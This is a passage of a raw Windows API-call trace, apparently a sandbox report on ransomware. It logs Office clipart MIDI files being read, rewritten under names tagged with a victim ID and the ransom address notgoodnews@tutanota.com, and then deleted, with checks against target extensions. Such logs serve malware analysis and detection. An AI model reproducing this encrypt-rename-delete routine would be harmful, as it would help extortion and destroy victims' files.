office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.749] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.749] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0167.750] GetLastError () returned 0x0 [0167.750] ReadFile (in: hFile=0x4dc, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2645, lpOverlapped=0x0) returned 1 [0167.753] WriteFile (in: hFile=0x544, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2650, lpOverlapped=0x0) returned 1 [0167.755] ReadFile (in: hFile=0x4dc, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.755] WriteFile (in: hFile=0x544, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xea, lpOverlapped=0x0) returned 1 [0167.755] SetEndOfFile (hFile=0x544) returned 1 [0167.755] CloseHandle (hObject=0x544) returned 1 [0167.755] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.755] SetEndOfFile (hFile=0x4dc) returned 1 [0167.759] CloseHandle (hObject=0x4dc) returned 1 [0167.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0167.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.761] lstrlenW (lpString=".doc") returned 4 [0167.761] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.761] lstrlenW (lpString=".docx") returned 5 [0167.761] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.761] lstrlenW (lpString=".pdf") returned 4 [0167.761] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.761] lstrlenW (lpString=".xls") returned 4 [0167.761] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.761] lstrlenW (lpString=".xlsx") returned 5 [0167.761] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.761] lstrlenW (lpString=".ppt") returned 4 [0167.761] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.761] lstrlenW (lpString=".zip") returned 4 [0167.761] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.761] lstrlenW (lpString=".rar") returned 4 [0167.761] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.761] lstrlenW (lpString=".bz2") returned 4 [0167.761] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.761] lstrlenW (lpString=".7z") returned 3 [0167.761] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.761] lstrlenW (lpString=".dbf") returned 4 [0167.761] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.761] lstrlenW (lpString=".1cd") returned 4 [0167.761] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.762] lstrlenW (lpString=".jpg") returned 4 [0167.762] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.762] lstrlenW (lpString=".doc") returned 4 [0167.762] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.762] lstrlenW (lpString=".docx") returned 5 [0167.762] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.762] lstrlenW (lpString=".pdf") returned 4 [0167.762] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.762] lstrlenW (lpString=".xls") returned 4 [0167.762] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.762] lstrlenW (lpString=".xlsx") returned 5 [0167.762] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.762] lstrlenW (lpString=".ppt") returned 4 [0167.762] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.762] lstrlenW (lpString=".zip") returned 4 [0167.762] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.762] lstrlenW (lpString=".rar") returned 4 [0167.762] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.762] lstrlenW (lpString=".bz2") returned 4 [0167.762] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.762] lstrlenW (lpString=".7z") returned 3 [0167.762] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.762] lstrlenW (lpString=".dbf") returned 4 [0167.762] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.762] lstrlenW (lpString=".1cd") returned 4 [0167.762] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0167.763] lstrlenW (lpString=".jpg") returned 4 [0167.763] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.763] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.763] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0167.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.764] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5843) returned 1 [0167.764] CloseHandle (hObject=0x4dc) returned 1 [0167.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0167.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.764] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.764] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0167.765] GetLastError () returned 0x0 [0167.765] ReadFile (in: hFile=0x4dc, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x16d3, lpOverlapped=0x0) returned 1 [0167.767] WriteFile (in: hFile=0x544, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x16e0, lpOverlapped=0x0) returned 1 [0167.769] ReadFile (in: hFile=0x4dc, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.769] WriteFile (in: hFile=0x544, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.769] SetEndOfFile (hFile=0x544) returned 1 [0167.769] CloseHandle (hObject=0x544) returned 1 [0167.769] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.769] SetEndOfFile (hFile=0x4dc) returned 1 [0167.774] CloseHandle (hObject=0x4dc) returned 1 [0167.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0167.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.775] lstrlenW (lpString=".doc") returned 4 [0167.775] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.775] lstrlenW (lpString=".docx") returned 5 [0167.775] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.775] lstrlenW (lpString=".pdf") returned 4 [0167.775] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.775] lstrlenW (lpString=".xls") returned 4 [0167.775] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.775] lstrlenW (lpString=".xlsx") returned 5 [0167.775] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.775] lstrlenW (lpString=".ppt") returned 4 [0167.775] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.775] lstrlenW (lpString=".zip") returned 4 [0167.775] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.776] lstrlenW (lpString=".rar") returned 4 [0167.776] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.776] lstrlenW (lpString=".bz2") returned 4 [0167.776] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.776] lstrlenW (lpString=".7z") returned 3 [0167.776] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.776] lstrlenW (lpString=".dbf") returned 4 [0167.776] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.776] lstrlenW (lpString=".1cd") returned 4 [0167.776] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.776] lstrlenW (lpString=".jpg") returned 4 [0167.776] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.776] lstrlenW (lpString=".doc") returned 4 [0167.776] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.776] lstrlenW (lpString=".docx") returned 5 [0167.776] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.776] lstrlenW (lpString=".pdf") returned 4 [0167.776] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.776] lstrlenW (lpString=".xls") returned 4 [0167.776] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.776] lstrlenW (lpString=".xlsx") returned 5 [0167.776] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.777] lstrlenW (lpString=".ppt") returned 4 [0167.777] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.777] lstrlenW (lpString=".zip") returned 4 [0167.777] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.777] lstrlenW (lpString=".rar") returned 4 [0167.777] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.777] lstrlenW (lpString=".bz2") returned 4 [0167.777] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.777] lstrlenW (lpString=".7z") returned 3 [0167.777] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.777] lstrlenW (lpString=".dbf") returned 4 [0167.777] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.777] lstrlenW (lpString=".1cd") returned 4 [0167.777] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0167.777] lstrlenW (lpString=".jpg") returned 4 [0167.777] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.777] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.777] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0167.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.862] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=6880) returned 1 [0167.862] CloseHandle (hObject=0x474) returned 1 [0167.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0167.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0167.901] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.901] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.904] GetLastError () returned 0x0 [0167.904] ReadFile (in: hFile=0x54c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0167.913] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x1af0, lpOverlapped=0x0) returned 1 [0167.914] ReadFile (in: hFile=0x54c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.914] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.914] SetEndOfFile (hFile=0x514) returned 1 [0167.914] CloseHandle (hObject=0x514) returned 1 [0167.915] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.915] SetEndOfFile (hFile=0x54c) returned 1 [0167.918] CloseHandle (hObject=0x54c) returned 1 [0167.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0167.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.920] lstrlenW (lpString=".doc") returned 4 [0167.920] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.920] lstrlenW (lpString=".docx") returned 5 [0167.920] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.920] lstrlenW (lpString=".pdf") returned 4 [0167.920] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.920] lstrlenW (lpString=".xls") returned 4 [0167.920] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.920] lstrlenW (lpString=".xlsx") returned 5 [0167.920] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.920] lstrlenW (lpString=".ppt") returned 4 [0167.920] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.920] lstrlenW (lpString=".zip") returned 4 [0167.920] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.920] lstrlenW (lpString=".rar") returned 4 [0167.920] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.920] lstrlenW (lpString=".bz2") returned 4 [0167.920] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.921] lstrlenW (lpString=".7z") returned 3 [0167.921] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.921] lstrlenW (lpString=".dbf") returned 4 [0167.921] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.921] lstrlenW (lpString=".1cd") returned 4 [0167.921] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.921] lstrlenW (lpString=".jpg") returned 4 [0167.921] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.921] lstrlenW (lpString=".doc") returned 4 [0167.921] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.921] lstrlenW (lpString=".docx") returned 5 [0167.921] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.921] lstrlenW (lpString=".pdf") returned 4 [0167.921] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.921] lstrlenW (lpString=".xls") returned 4 [0167.921] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.921] lstrlenW (lpString=".xlsx") returned 5 [0167.921] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.921] lstrlenW (lpString=".ppt") returned 4 [0167.921] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.921] lstrlenW (lpString=".zip") returned 4 [0167.922] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.922] lstrlenW (lpString=".rar") returned 4 [0167.922] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.922] lstrlenW (lpString=".bz2") returned 4 [0167.922] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.922] lstrlenW (lpString=".7z") returned 3 [0167.922] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.922] lstrlenW (lpString=".dbf") returned 4 [0167.922] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.922] lstrlenW (lpString=".1cd") returned 4 [0167.922] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0167.922] lstrlenW (lpString=".jpg") returned 4 [0167.922] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.922] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.922] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0167.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0167.923] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5440) returned 1 [0167.924] CloseHandle (hObject=0x54c) returned 1 [0167.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0167.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0167.924] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.924] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 